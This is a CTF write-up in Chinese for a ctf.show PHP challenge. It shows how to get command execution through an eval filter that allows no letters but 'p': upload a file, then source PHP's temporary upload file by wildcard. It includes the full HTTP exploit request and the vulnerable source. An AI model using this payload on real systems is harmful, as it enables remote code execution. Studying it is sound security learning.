web-红包第二弹(无数字字母rce)-if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))
web-红包第二弹(无数字字母rce)-if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))
2022年7月11日
13:41
该题目删除了除了小写字母p之外的所有字母,还有过滤。
可用的字符为p和. = < ;
?><?=等同于echo
?><?=``;
通配符和命令执行:
下面这个例子是执行exp.txt中的内容.
./exp.txt
./??p????
这里还需要了解一个php上传的机制:
php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录下,上传完后会被删除。
在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。
思路就是上传文件生成临时文件,将真正想要执行的函数放到临时文件中,然后利用eval函数进行执行临时文件。
然后再看cmd这里有两个过滤,过滤了除p以外的所有字母数字,可用的特殊字符为. ? / 等。在linux中,source命令和.相同,用于从当前shell会话中读取文件和执行命令。
boundary为边界分隔符
文件开始标记:-----------------------------10242300956292313528205888
文件结束标记:-----------------------------10242300956292313528205888--
其中10242300956292313528205888是浏览器随机生成的,只要足够复杂就可以。
#:把执行命令放入一个文件中,之后执行该tmp目录下的文件,查看结果即可。
/tmp/php**.tmp执行该命令,需要前面使用.空格的形式所以,.+这样表示。
cmd=?><?=`.+/??p/p?p??????`;
/tmp/php**.tmp
当然不要----------------------------也可以,
Content-Type有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对
②multipart/form-data:上传文件
PAYLOAD:
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: c2993849-f59a-45e0-878b-dd817d91f4a2.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 240
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888--
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>